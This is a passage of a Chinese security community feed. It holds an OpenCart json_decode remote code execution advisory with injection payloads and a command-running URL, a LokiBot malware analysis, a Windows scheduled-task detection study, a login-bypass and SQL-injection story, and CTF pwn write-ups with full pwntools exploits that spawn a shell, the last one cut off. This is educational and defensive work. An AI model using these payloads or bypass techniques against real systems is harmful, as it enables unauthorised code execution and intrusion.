is not defined`的问题，emm可能功能正在试验中，然后新版又给移除了？
其次因为这个问题测试的时候，Chrome会默认更新到79版本有点烦，去[这里](https://www.chromedownloads.net/chrome64win/)，找了个78版本的下载，接着输`msconfig`把谷歌服务的更新关了即可
最后打开Chrome效果是这样的：
最后简单总结一下，Chrome取消了XSS Auditor，取而代之的是`trusted-types`可信API，声称可以彻底杜绝DOM
XSS，经过一番体验后，其实本质上为强制开发写一段更为严格的过滤规则。 | 社区文章 |
# OpenCart json_decode函数中存在远程PHP代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://seclists.org/bugtraq/2016/Apr/61>
译文仅供参考，具体内容表达以及含义原文为准。
最近,安全研究人员Naser Farhadi(Twitter: @naserfarhadi)发现OpenCart
json_decode函数中存在远程PHP代码执行漏洞,涉及到的版本有2.1.0.2 到 2.2.0.0 (最新版本)
漏洞存在于 /upload/system/helper/json.php中,其中有这段代码
# /upload/system/helper/json.php
$match = '/".*?(?<!\\)"/';
$string = preg_replace($match, '', $json);
$string = preg_replace('/[,:{}[]0-9.-+Eaeflnr-u nrt]/', '', $string);
...
$function = @create_function('', "return {$json};"); /**** 万恶之源 ****/
$return = ($function) ? $function() : null;
...
return $return;
其中通过json进行了函数的创建,而json_decode函数可被利用
这里是几个简单的测试例子
var_dump(json_decode('{"ok":"1"."2"."3"}'));
var_dump(json_decode('{"ok":"$_SERVER[HTTP_USER_AGENT]"}'));
var_dump(json_decode('{"ok":"{$_GET[b]($_GET[c])}"}'));
在真实场景中,可以通过/index.php?route=account/edit进行利用
例如将$_SERVER[HTTP_USER_AGENT]作为姓名填写进去,保存(需要重复两次)
之后当管理员访问管理面板时,他会在最近活动中本应显示你的姓名的地方看到他自己的UserAgent
另一个例子是在account/edit 或者 account/register 中的 custom_field ,在这里进行利用可能是最合适的
如果管理员在/admin/index.php?route=customer/custom_field中添加了一个自定义的区域用于电话号码之类的额外信息
你就可以直接注入你的代码在这个custom_field中
例如将{$_GET[b]($_GET[c])}填写到这个custom_field中,保存
然后访问
[http://host/shop_directory/index.php?route=account/edit&b=system&c=ls](http://host/shop_directory/index.php?route=account/edit&b=system&c=ls)
你会看到代码被正确执行了
需要注意的是,这种利用方式只会在 PHP JSON扩展没有安装的情况下有效 | 社区文章 |
# LokiBot 变种“HIJACKED” 恶意软件分析报告
|
##### 译文声明
本文是翻译文章，文章原作者 d00rt，文章来源：github.com
原文地址：<https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 1.文章背景
作者写此文目的仅为技术性分享，请勿滥用，后果自负。
一年前，作者发表了一篇与LokiBot间谍软件有关的文章。写那篇文章的原因是：有安全分析师将一些未知样本与与NotPetya进行了关联，但在作者分析完这些样本后，发现它们本应是LokiBot，是完全与NotPetya无关的。报告地址为：
<http://reversingminds-blog.logdown.com/posts/2000422-not-petya-not-related-files-in-other-words-loki-bot>
在几个月前，由于LokiBot在多个malapan活动中被利用，作者又写了一篇文章，在这篇文章中记录了有关远程控制的一系列技术细节，以及制作此恶意软件的作者信息。
经过深入分析，作者得出了原始LokiBot样本已被第三方组织修改的结论。目前，这个组织正在售卖此变种病毒，并且此变种病毒在多个恶意活动中被利用。
## 2.样本
此次研究有大量样本，但在此文中所记录的图像及数据均与目前变种的LokiBot样本相关。
LokiBot的样本相关MD5值为：
463469a131f368a0f2215b0ff6146454
## 3.攻击流程
LokiBot像许多恶意软件系列一样，通过恶意电子邮件进行分发。
这些钓鱼邮件没有固定模式，但它们的行为方式类似，且最终均下载了LokiBot恶意样本。具体感染方式如图1所示。
分发不同附件的各个钓鱼邮件截图如下：
## 4.历史销售及行动链
Lokibot第一次出现是在2015年中期，用户可在地下论坛中购买到定制样本。
售价为300$。
供应商的昵称是lokistov或Carter，此人在地下论坛中较为知名，其电子邮件为[[email protected]](mailto:[email protected])或[[email protected]](mailto:[email protected])
如图8所示的那样，此恶意软件每周都会更新。
随之，价格也有所上升。
LokiBot从2016年至2017年一直在持续更新，但自从LokiBot v2发布后，论坛上就不再更新lokistov了。在圣诞节时，甚至还有优惠活动。
在2018年，用大概80美元的低价就可以购买到样本（大约是由于源码泄露等原因）。如今，很容易就可以找到如何设置LokiBot控件面板的YouTube教程。
## 5.技术细节摘要
LokiBot的攻击流程图是线性的。一旦它进入系统并安装后，LokiBot就会在这个受感染的用户系统中收集用户已安装的各个应用中的信息。
LokiBot没有使用任何的注入技术或是复杂的执行流程。因此，与Dridex等其他恶意软件相比，它的行为更易于分析。
LokiBot的目的在于信息窃取，它对于不同的手机模块进行不同的入侵方式，一旦当其收集齐所有所需材料后，LokiBot会通过HTTP协议将它们压缩在数据包中发送到C＆C。
图14所示流程的具体的步骤是：
1) LokiBot病毒通过不同的渠道入侵进系统。
2) LokiBot解压缩并执行有效载荷。
3) LokiBot能够窃取像FTP客户端，Web浏览器和SSH
客户端这样程序的凭证。
这些函数在循环中被调用，并且将被盗取的数据储存进缓冲区。
4) LokiBot在系统中拥有永久权限，此权限可以使攻击
者修改注册表项，并且也可以将自身以指定的命名形式复制到%APPDATA%下的指定文件夹中。每台被感染的机器都有唯一的标识符，此标识符是由MachineGuid
MD5生成的，可当互斥锁使用，也被用做了bot ID（被感染机器的唯一标识符）。
最后，LokiBot创建一个注册表项，指向它之前复制到％APPDATA％内的特定文件夹。
5) LokiBot等待c＆c的新命令，并创建一个用于解析
c＆c服务器响应的新线程。
## 6.静态配置
像几乎所有恶意软件系列一样，LokiBot也有静态配置。
这种静态配置包括支持模块和远控URL。这些URL会接收被窃取的数据信息，并且会向bot病毒发去新的指令。
在分析的大多数样本中都有5个远控URL，其中4个用了他们以前从未使用过的3重DES算法进行保护。 第5个URL仅进行了简单的XOR进行保护。
LokiBot尝试了与最后一个仅进行亦或运算的网址进行通信。
所有加密的字符串都受3重DES算法保护，如进行远控行为的四个URL。 每次LokiBot都需要对等解密加密的字符串。
在其他参数中，这部分用来接收解密的缓冲区并存储三重DES的解密密钥。
解密字符串的步骤是：
Decrypt 3DES Buffer返回解密字符串的大小。 被解密的缓冲区存储在以它作为参数接收的相同地址中。
除了远控服务器的网址，LokiBot还使用3重DES算法保护了更多字符串，因此不同的函数都会对Decrypt3DESstring进行调用，且此版本中的Decrypt3DESstring始终返回相同的字符串。
在分析过的所有样本中，受3重DES保护的进行远控的四个URL都是固定的，且它们从未使用过。
但是在每个LokiBot样本中，受简单xor算法保护的URL地址却都是不同的。
## 7.可疑行为
可疑行为列举如下：
1) LokiBot用作远程控制服务器的URL一共有五个，分别是：四个受强保护（三重DES）的URL和一个受弱保护（XOR）的URL。
2) 3重DES保护的URL在此版本的所有LokiBot示例中始终相同。 此外，这些网址从未使用过。
3) 如上所述，LokiBot有一些受3重DES算法保护的字符串，其中包括4个远控网址。
每次调用Decrypt3DESstring时，它都会返回相同的字符串。 返回的字符串是受XOR保护的URL。
第一次调用Decrypt3DESstring，它会返回解密的url，但第二次调用它（偶数次），它返回受XOR保护的url。
LokiBot不检查返回的URL是否是解密的，它也会尝试连接到加密的URL。
4)
因为当LokiBot尝试在系统上永久存在时，Decrypt3DESstring总是返回相同的字符串，因此它调用Decrypt3DESstring来获取注册表项。在LokiBot的最新样本中，没有发现需要其永久存在的代码，因为当它试图获取自动运行注册表项时，Decrypt3DESstring的返回值是受XOR保护的URL。
5) 在分析LokiBot PE Headers时，发现几乎所有最新的LokiBot样本都有一个名为“x”的部分具有可写权限。
这种行为看起来好像是程序中有错误，于是作者决定更深入地分析Decrypt3DESstring函数和“x”部分的内容。
### 7.1可疑行为的深度分析
如上所述，用于解密字符串（url或注册表项）的调用顺序是： Decrypt3DESstring → Import3DESKeys +
Decrypt3DESBufer → CryptDecrypt
Decrypt3DESBufer使用Windows
API函数CryptDecrypt来解密受3DES算法保护的缓冲区，但它不会返回3DES解密缓冲区作为输出结果。而是Decrypt3DESstring返回3DES解密的缓冲区。
这应该是此函数的理想行为，但如前文所述，每次调用Decrypt3DESstring时，它都会返回带有用XOR加密或解密过的url。
下图显示了输入缓冲区是如何解密使用了3DES加密过的0x20大小的URL。
这种行为很少见，因为3DES输入长度为0x20，但输出值长度较大。由此需分析Decrypt3DESBufer中的算法。
**7.1.1Decrypt3DESBufer部分**
此部分正是解密和返回缓冲区的位置。
绿色框内的代码负责使用CryptDecrypt Windows API函数解密3DES缓冲区。
红框内代码负责解密受XOR保护的网址，蓝框内代码是功能的结尾部分。
接下来的图片显示了红色框的代码如何覆盖受3DES保护的网址。
这就是为什么每次LokiBot尝试使用Decrypt3DESstring解密缓冲区时，它总是返回受XOR保护的URL的原因。那么，想要解密的字符串的性质是受3DES解密的URL还是用于长久留存的注册表项这件事就变得无关紧要了。如果是这样的话，那么这种行为的存在是个bug吗？
下图显示了LokiBot调用CryptDecrypt函数之后如何从0x403717跳转到0x4146F5以及从0x4146F5跳转到0x4A0000的。
0x4A0000地址是 “x”部分的开头。
此外，受XOR保护的URL和负责解密该URL的代码均位于“x”部分（红色框）。这种行为就像有人hook了那个功能一样，像是有第三个人手动修改了代码，让远控URL修补其自定义远控URL。
## 8.样本溯源
由于此功能被第三方修改过，几乎可以判定此软件不是由编译器直接生成的。目前所有版本几乎均对时间戳进行了编辑。
目测是修改原始二进制文件的作者使用相同的二进制文件创建了带有自定义控制面板的新Loki
Bot示例（使用XOR保护的URL）。于是对其早期版本也进行了追踪，最后，发现了一个在2016年1月的二进制文件（d13d88b27887a5ba9c00dbe309873298），比LokiBot版本提前了6个月左右。
## 9.LokiBot构建器
最新的LokiBot样本有一个名为“x”的新部分，这个部分是被xor加密的url，用做控制面板网址。牢记这一点，创建一个产生新的LokiBot的构建器就非常容易了。（原文中具体介绍了含有现版本与历史版本的具体差异对比、如何生成新版本的构建器、当前软件（HIJACKED）的缺陷，由于此篇译文旨在对样本进行分析就未曾翻译，感兴趣的同学可以查看原文）
## 10.结论
截止到目前为止，最新且分发最多的样本是LokiBot
v.1.8的修补版本。第三方（可能是fuckav.ru论坛的成员）修补了LokiBot的原始代码，添加了“x”部分，实现了使用XOR保护的URL的方法。
负责解密字符串的函数被hook住了以便跳转到“x”部分并始终返回受XOR保护的URL。由于用于生成新LokiBot样本的原始样本始终是相同的，这些后续样本也总是使用相同的加密方式加密了4个URL。
原作者由此也写了查杀此病毒的工具，代码地址为：[https://github.comdd00rt，更详尽的报告记录在了：https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850](https://github.comdd00rt%EF%BC%8C%E6%9B%B4%E8%AF%A6%E5%B0%BD%E7%9A%84%E6%8A%A5%E5%91%8A%E8%AE%B0%E5%BD%95%E5%9C%A8%E4%BA%86%EF%BC%9Ahttps://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850) | 社区文章 |
**作者：rep_Su@青藤实验室
原文链接：<https://mp.weixin.qq.com/s/aS5MRwnYR5pqE1PmKiH24w>**
之前我们分享了一篇 [windows
计划任务隐藏新姿势分享](https://mp.weixin.qq.com/s/ktGug1VbSpmzh9CEGKbbdw)，看到留言感兴趣的是计划任务的排查，因此又出了一篇详细的排查教程，希望对大家有所帮助。
## 研究背景
在 server 2012 上使用 schtasks 创建计划任务时，我意外的发现，当分别使用参数 `/mo` 和 `/ri`
时，计划任务创建的方式有所不同，具体如下图：
我在其参数说明中也未见对此现象的具体描述
且在计划任务管理器上发现其区别似乎只在于触发器的不同。抱着一探究竟的想法，我花了一周左右的时间研究并整理了此文，来为 windows
计划任务的相关问题提供些绵薄之力。
本文中所研究的计划任务均由 **schtasks.exe** 创建。
## 探索原因
为了一探究竟，在 server 2012 上，我分别对两种启动流程进行了追踪，在初步的了解之后，我发现随着 windows
系统的变迁，计划任务的相关进程的启动和计划任务的创建有旧版和新版之分，为了更好的理解，结合研究的内容下述依次对新旧版进行大致的说明。
### 旧版的计划任务
#### 进程启动
通过对计划任务的监控，我发现，在 server 2012 上，计划任务进程的启动，主要依赖于计划任务文件的读取和注册表项配置的访问。当使用参数 `/ri`
时，计划任务进程创建的堆栈如下图所示:
我发现此时其进程创建的关键模块为 schedsvc，通过堆栈可以大致看出此类计划任务进程的创建由 schedsvc 管理， schedsvc 会启动回调
job，从队列中捕获到并启动计划任务的 job，进而创建计划任务进程。
在 schedsvc.dll 中，我可以清晰的看到，计划任务进程创建时，实际上创建的是 taskeng.exe
进程，这也解释了为什么我看到此类计划任务的父进程是 taskeng。
在这一参数创建的计划任务进程启动时，我发现，schedsvc.dll 与 taskeng 分工明确，schedsvc.dll
主要负责注册表中对应计划任务的读取及更新，其中比较关键的行为是： **schedsvc
会负责从计划任务的job队列中启动计划任务，并且将计划任务进程的执行时间写入注册表项 DynamicInfo中** 。
写入注册表项DynamicInfo的过程如下
写入注册表的值如下
写入后注册表中对应项的值如下
通过分析，我发现，在 DynamicInfo 注册表项中记录的二进制偏移+c处的内容正是其计划任务执行的 UTC 时间信息。
通过对计划任务进程行为的追踪，我发现，每次计划任务进程被创建时，DynamicInfo 注册表项均会被更新，即通过对注册表中的 DynamicInfo
的监控及其中时间数据的解析，我可以知道某计划任务的进程在某时刻被执行，从而定位到对应的计划任务。 而 **taskeng则主要负责
\Windows\System32\Tasks 目录下的计划任务文件的读取及启动对应的计划任务进程**
Task 文件读取如下
计划任务进程创建如下
当将参数更改为 `/mo` 时，我发现此时的进程创建的堆栈完全改变了，如下图
可以看到，之前的 schedsvc 模块已经完全看不到了，取而代之的是 UBPM 和
EventAggregation，UBPM全称是统一后台进程管理器。它是自 Windows 7 和 Windows Server 2008 R2
引入的一种新的调度引擎，关于其更多的介绍，可以参考文末参考链接。而 EventAggregation，其描述为“用户态的 Event Aggregation
库”（Event Aggregation User Mode Library）
从搜索引擎中，我暂未找到关于其更详细的介绍，只知道其大致为事件聚合相关的用户态库，通过对计划任务进程行为的分析，我可以看到，在计划任务进程启动的过程中，其主要扮演着对计划任务事件的处理、通知以及信号分发的角色。
结合相关堆栈，我初步认为 UBPM 主要负责捕获被称之为 Trigger 的信号，当 Trigger 到达时，便会执行对应的 TriggerActions
启动计划任务进程，这一部分会在后文 **现代的计划任务中** 进行部分说明。
在 winserver
2012，根据UBPM的代码逻辑，计划任务进程启动时会在如下路径生成对应的计划任务ID的服务日志文件，并将计划任务的报告信息写入文件中。
其中记录的依然是计划任务进程执行的时间信息，依旧为 UTC 时间。
实际上，这也为我提供了一个找到 **旧版 UBPM 调度引擎** 启动的对应计划任务的方法，我可以直接在
`\Windows\System32\LogFiles\Scm` 文件夹，找到最新的文件，再根据文件名，在注册表中定位到计划任务的ID，从而定位到计划任务。
#### 计划任务的创建
对于上述提到的 `/ri` 和 `/MO` 的这两个参数，计划任务创建的过程大致相同，在 server 2012 上，负责计划任务创建的关键模块为
schedsvc，在计划任务创建的过程中其会执行一系列操作，这里只简要对其中的关键行为进行说明，暂不做进一步挖掘。在后文中的 **现代的计划任务中**
也会做部分补充。
获取task文件夹的安全描述符进行权限检查
读取对应注册表项的中的关键项信息
创建计划任务文件
设置对应计划任务在注册表中各子项的值
即在计划任务创建的过程中，schedsvc 主要负责获取相关计划任务的安全权限并对其进行检查，随后会对关键的注册表项
`TaskCache\Tasks\{ID}` 进行读取并创建计划任务文件，然后根据对关键注册表项的读取结果，再将注册表的各对应子项写入计划任务的相关内容。
### 现代的计划任务
然而，当我把目光聚焦到较新的操作系统时，我发现变化已然发生。
#### 进程启动
在较新的windows版本中（此测试版本为win10 19042.685），我发现在相关的 schedsvc
模块中旧版中的相关进程启动函数逻辑已经找不到了，之前的 taskeng 的执行逻辑也不复存在了。
取而代之的是，无论采用是 `/MO` 还是 `/RI` 参数创建计划任务，计划任务的执行流程都统一由 UBPM 管理，其执行流程也和 server 2012
上的略有不同，其堆栈情况如下
我可以看到 UBPM 依然在 Trigger 到达后，会对其进程处理，但是实际上多了一层封装
经过分析，此处，handle 函数的参数 a3 是一个 UBPM_TRIGGER_CONSUMER_BLOCK 结构体，此结构体随后会被作为参数传递到
UbpmpPerformTriggerActions函数。a3+0x18 偏移处是一个 UBPM_INPUT_ACTION_PARAMS
结构体，此值会被传入 UbpmpLaunchExeAction 函数的第一个参数用来启动对应的计划任务 action。最终
UBPM_INPUT_ACTION_PARAMS 结构体会在 UbpmpLaunchExeAction 函数中进行解析后作为参数传递给
UbpmpLaunchOneTask 用来启动计划任务进程。
在 UBPM_INPUT_ACTION_PARAMS 结构体中记录了计划任务名称，计划任务内容等相关信息如下：
但是由于这些相关的结构体均未文档化，想要对其结构体进行进一步更详细的逆向分析需要耗费较长的时间，这也不是本文的目的，因此此处不做过多的展开。
通过对进程创建过程中的行为的跟踪发现，现代的计划任务进程启动的过程中，更多的依赖于注册表内容的读取而非计划任务文件的读取，单纯靠计划任务文件的检测已经很难有所效果。
此外，server 2012 中提到UBPM模式下的 scm 路径下的日志文件也不复存在，取而代之的是报告信息被写入到注册表 DynamicInfo
项中。与taskeng 中的启动流程中的操作极为相似，其中依然包含计划任务进程的时间信息，在偏移+C处为其时间信息，依然采用的 UTC 时间。
这也意味着，在 **现代的 UBPM 调度引擎** 启动的计划任务中，对计划任务的检测方向已经转移到了注册表中。我需要对注册表 DynamicInfo
项中的数据进行解析，从而来确定某ID对应的计划任务进程在某一时刻曾被启动。
#### 计划任务的创建
在现代的计划任务创建的流程中，我发现对计划任务创建进行管理的关键模块依然是 schedsvc.dll，但与 server 2012 上的也有所不同，由于
schedsvc 模块功能多样且复杂，此处重点对 SchRpcEnumTasks 和 SchRpcRegisterTask 做一下补充说明。
在计划任务创建的过程中，schedsvc的SchRpcEnumTasks，SchRpcRegisterTask
函数起到关键作用。SchRpcEnumTasks 函数会对计划任务的关键注册表进行检索。
**SchRpcEnumTasks主要负责对`TaskCache\\Tree`注册表下各项计划任务的的SD（由于较新的系统上，注册表项中已引入 SD
子项，此处不再通过文件获取SD而是直接读取注册表下的读取），ID，Index等内容进行检索。**
SchRpcEnumTasks 实际调用的是 RpcServer::EnumFolder 函数，在 EnumFolder 函数中首先会调用
RegTreeEntryOpen 来打开目标计划任务在 tree 中的对应注册表。
其后，在 RpcServer::EnumFolder 函数中，其会调用 JobStore::RegJobSecurityQuery 对 SD 进行检索，调用
JobStore::RegGetTreeInfo 对 ID 和 Index 进行检索，同时还会做一些权限的获取行为，调用
FolderEnumerator::FindNext 进行循环遍历。
**SchRpcRegisterTask负责管理具体计划任务的创建注册行为。** SchRpcRegisterTask 实际调用的是
RpcServer::RegisterTask 函数，在其中经过一系列的判断后，会调用 RegTaskEntryCreate
函数进行计划任务注册表项的实际创建和值的设置或调用 UpdateTaskEntry 进行更新。
其关键函数调用及对应注册表项与函数的创建关系大致如下图，其中箭头代表 API
调用，圆圈代表设置的注册表项，从上到下为大致的执行流程逻辑，通过这些函数关系，我可以进一步探索对应注册表项里数据的更多含义，由于关系较为复杂，限于篇幅和时间，此处仅将其重要流程图做以展示，不做更多的展开。
当大部分注册表项相关值设置完毕后，schedsvc 会调用 JobStore::XmlSaveTaskFile 函数将计划任务的内容写入到对应的 tasks
文件夹中的文件中，如 `\Windows\System32\Tasks\test`。
至此计划任务基本创建完毕。
## 计划任务的检测与排查
在前文中，我断断续续的提到了部分关于计划任务检测与排查的思路，在这里，我做下简单的总结，结合前文内容，我可以将计划任务分为两大类。
### 计划任务ID的获取
对比 server 2012 与 win10
中的计划任务的创建与启动情况，我发现，在现代的计划任务中，微软对注册表的青睐显然更高一些，通过对计划任务进程创建的追踪我发现，在
**传统的以taskeng进程启动的计划任务与现代的UBPM方式启动的计划任务的这一类**
方式中，在计划任务进程启动时，关于计划任务的执行时间信息均会被即时地记录在 `TaskCache\Tasks\{ID}\DynamicInfo`
注册表项中。
对于此类计划任务，我可以通过 sysmon 这类工具进行主动检测。设置简单的规则对 DynamicInfo 注册表进行检测，随后通过 sysmon
的日志进行确认排查
当系统中有计划任务启动时，命中的 sysmon 规则效果如下图：
此外，结合上述分析，我也可以自己写代码对对应注册表项进行遍历解析，获取计划任务的执行时间。核心代码如下：
代码获取到计划任务内容如下：
在 **旧版的UBPM启动的这一类计划任务中**
，由于微软贴心地为我提供了对应的计划任务日志文件，这使得我可以直接通过文件的修改时间信息对计划任务进行定位，对应的文件路径通常为
`\Windows\System32\Tasks\\{ID}`，如下：
### 定位注册表中的计划任务
通过前文的方式获取到计划任务的ID后，我就可以直接通过 ID 在注册表中搜索或直接在 `\Schedule\TaskCache\Tasks\{ID}`
注册表位置找到对应注册表项，如下：
在其中我可以看到关于计划任务的具体信息，在一定的情况下，只借助注册表中的计划任务信息，计划任务也可以被正常启动。因此，当排查到恶意的计划任务项时，我需要同时清理
`C:\Windows\System32\Tasks\` 目录下的计划任务文件和上图中的对应 ID 的计划任务注册表内容。
### 通过windows系统日志排查计划任务
此外，通过windows系统自带的事件查看器，我也能对计划任务进行定位和排查启动的计划任务的相关事件，再通过对应的计划任务事件名在注册表
Schedule\TaskCache\Tree{name}或C:\Windows\System32\Tasks\ 目录下找到对应计划任务获取到对应的计划任务
ID
获取到 ID 后，再按照前文所述内容进行进一步的定位操作即可。
## 小结
从传统的 taskeng 及旧版的 UBPM
的混合使用到现代的UBPM，我可以看到，微软似乎更倾向于从普通文件的记录转换到注册表中的统一管理，实际上，在现代的计划任务中，单纯的通过检测计划任务的文件，对于计划任务的实时检测来说是收益甚微的，因此，这也在提醒我在计划任务的检测中，我的检测重心也应该向注册表倾斜。实际上，关于计划任务相应注册表的各项含义还可以做进一步的挖掘来对计划任务做更深的了解，但由于篇幅和时间所限，本次研究在一些地方也只是浅尝辄止。
本文仅从 schtasks
创建的计划任务出发，对旧版的计划任务和现代的计划任务的相关过程和关键行为做了简单的分析，并结合分析情况对计划任务的检测提出了一些建议以作抛砖引玉之用，文中若有不恰之处也欢迎讨论指正。
## 参考
<https://techcommunity.microsoft.com/t5/ask-the-performance-team/windows-7-windows-server-2008-r2-unified-background-process/ba-p/374206>
* * * | 社区文章 |
偶然遇到一个管理平台,感觉这里有洞,试试吧。
试几个常见的弱口令无果之后,尝试f12找找当前页面js中有没有敏感接口。
例如未对外开放的注册、找回密码、登陆的逻辑判断等,有时候在页面看不到的功能可能在js中可以找到。
这里直接查看源代码,找到一个可能判断登陆的js。
挑出比较重要的代码来看~
他进行验证的时候,判断data.code是否为大于0,如果大于0则保存cookie、设定各项值并重定向到MainPage.html。
在登录框随便输入账号密码,抓包并拦截返回包。
返回包直接返回了code的值(后端是否验证成功的返回值),因为没有正确的账号密码,所以这里返回了0。
把他修改为1再次放包即可进入后台。
可能是因为绕过的原因,后台并没有显示太多功能,在右上角只有一个修改密码的功能。
但是还需要输入旧密码,GG~
后台一般会调用很多关键的js来完成更多功能,刷新当前页面来看看调用了那些js。
挨个慢慢看,在mainpage.js中发现了处用来请求数据的接口。
拼接URL构造参数不加任何参数访问,返回了很多数据。
传入参数1,返回错误页面。
加入单引号测试直接报500,以为又只能传入整形~
又加入一个单引号返回正常,已经有了！
直接上工具！
使用的是PostgreSQL数据库,随后在同样js中又发现了几处数据请求接口也都存在注入。 | 社区文章 |
# 2020 湖湘杯 PWN WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
赛后竞赛的界面就关了，题目名称可能会有些不对。
## printf
这个题目的原型题是[google ctf sprint](https://ctftime.org/writeup/23032)。
程序首先是`mmap`了一个`0x4000000`大小的地址空间到`0x4000000`为内地址的内存中，然后拷贝了一大堆的格式化字符串，接着`scanf`读取用户输入的`16`个数字，之后进入`while`循环，在满足判断条件退出之前不断地调用`sprintf`函数。退出循环之后会存在一个`overflow`函数，可以溢出的字节是好像是由`sprintf`的结果指定的。
在比赛的过程中我是直接输入不同的值，观察跳出循环后的状态，发现当前九个数字为`0x20`的时候，最大就会溢出`0x40`个字节，当然这里`if`条件判断中也写了`v12<=0x20`。那么这里推测格式化字符串的效果就是将用户输入的某个位置的数字（很大的可能是第`9`个）赋值到`v12`中。
那么拿到这个溢出的漏洞之后剩下的就是执行`rop`了，这里比赛中脑子抽风，用了非常麻烦的方法，一共迁移了三次栈帧。其实可以直接将返回地址改为`main`函数，重新来一次溢出的。
# encoding=utf-8
from pwn import *
file_path = "./printf"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x401181")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.104.169', 55606)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
p.recvuntil("very interesting\n")
rop_address = 0x4100000
p_rdi_r = 0x0000000000401213
p_rsi_r = 0x0000000000401211
ret_add = 0x0000000000400629
leave_r = 0x00000000004007ed
read_plt = elf.plt['read']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
read_bss_add = 0x400e040
index = 9
for i in range(index):
p.sendline(str(0x20))
p.sendline(str(read_plt))
for i in range(15 - index):
p.sendline(str(0x400))
payload = flat([
# p_rdi_r, 0,
p_rsi_r, rop_address, 0,
read_plt,
p_rdi_r, read_got,
leave_r,
])
payload2 = flat([
puts_plt,
p_rdi_r, 0,
p_rsi_r, read_bss_add + 0x10, 0,
leave_r,
])
p.send(p64(rop_address)+ payload.ljust(0x38, b"\x00"))
p.send(p64(read_bss_add) + payload2)
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - libc.sym['read']
log.success("libc address is {}".format(hex(libc.address)))
p_rdx_r = 0x0000000000001b92 + libc.address
# payload = flat([
# p_rdx_r, 0x200,
# p_rsi_r, read_bss_add + 0x50, 0,
# p_rdi_r, 0,
# read_plt
# ])
bin_sh = flat([
p_rdi_r, libc.search(b"/bin/sh\x00").__next__(),
libc.sym['system']
])
# p.send(payload.ljust(0x40, b"\x00"))
p.send(bin_sh)
p.interactive()
## blend
题目的原型题目是[2017 DCTF flex](https://www.anquanke.com/post/id/89855)
程序在`name`的部分首先存在一个格式化字符串的漏洞。然后程序提供了三种操作`add,delete,show`，存在`UAF`漏洞，但是只能`add`两个堆块，这里没办法利用，同时题目给出了一个后门函数
这里是利用`C++`的异常处理，抛出了一个异常，异常的名字很怪，可以在`bss`段中看到它。这里存在一个栈溢出的漏洞，可以溢出`0x8`字节，也就是可以直接覆盖`rbp`。但是程序开启了一个`Canary`的保护，那么漏洞利用的主要就在于异常处理了。先是通过`_cxa_allocate_exception`分配了一个`0x90`大小的堆块，然后在申请的空间中赋了字符串的值。这里在调试的时候发现其调用了`bss`段中的函数指针，一开始的想法就是修改这个指针，但是没有办法利用`UAF`。后面就是通过`_cxa_throw`函数抛出异常的过程了，这个时候查到了原型题目，发现`main`函数中存在`try
catch`的捕捉异常的结构，当抛出异常的时候就能直接被`main`函数捕捉到之后就会进入`catch`，这个时候`rbp`就会变成`main`函数的`ebp`，异常处理结束之后直接`leave,ret`了，并没有检查`canary`的值。
这里我们又能覆写`rbp`，同时可以利用`UAF`泄露出堆的地址，因此这里直接覆写`rbp`为堆的地址，那么在处理异常结束之后就会迁移栈帧到堆中，执行我们提前布置好的`rop`链。
需要注意的是在抛出异常的过程中会涉及到对堆中某些元素或者以某些元素为地址的写，因此需要提前布置好相关的地址和设计好`rop`的位置
# encoding=utf-8
from pwn import *
file_path = "./blend"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x121c)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.104.169', 57404)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def show_name():
p.sendlineafter("your choice >", "1")
def add(content=b"\n"):
p.sendlineafter("your choice >", "2")
p.sendafter("input note:", content)
def delete(index):
p.sendlineafter("your choice >", "3")
p.sendlineafter("index>", str(index))
def show():
p.sendlineafter("your choice >", "4")
def magic(content):
p.sendlineafter("your choice >", "666")
p.sendafter("what you want:", content)
payload = "%p-%p"
p.sendafter("enter a name: ", payload)
show_name()
p.recvuntil("Current user:")
stack_address = int(p.recvuntil("-", drop=True), 16) + 0x2680
libc.address = int(p.recvline(), 16) - 0x3c6780
leave_r = 0x0000000000042361 + libc.address
p_rdi_r = 0x0000000000021112 + libc.address
p_rsi_r = 0x00000000000202f8 + libc.address
bin_sh = flat([
stack_address, stack_address,
stack_address,
p_rdi_r, libc.search(b"/bin/sh\x00").__next__(),
libc.sym['system']
])
add(bin_sh + b"\n")
add(bin_sh + b"\n")
delete(0)
delete(1)
show()
p.recvuntil("index 2:")
heap_address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))
log.success("stack address {}".format(hex(stack_address)))
log.success("libc address {}".format(hex(libc.address)))
log.success("heap address {}".format(hex(heap_address)))
# gdb.attach(p, "b *$rebase(0x121c)\nb *$rebase(0x12c2)")
magic(p64(heap_address + 0x10)*4 + p64(heap_address + 0x20)*2)
p.interactive()
## only_add
这个题目堆调试的眼睛都瞎了
`add`是通过`realloc`分配的，并将地址写到了全局`buf`中，并且只有这一个分配函数，另一个函数就是`buf=0,close(stdout)`，只能调用一次。在`add`函数中有一个`off-by-one`的漏洞。
之前没有接触过`realloc`的堆题目，对其的了解仅限于`realloc(0)`相当于`free`。这里在调试的时候发现，当`realloc`的`size`小于原有的`size`的时候会对原有的`chunk`进行切割，并将切割后的部分做一个类似于`free`的操作。
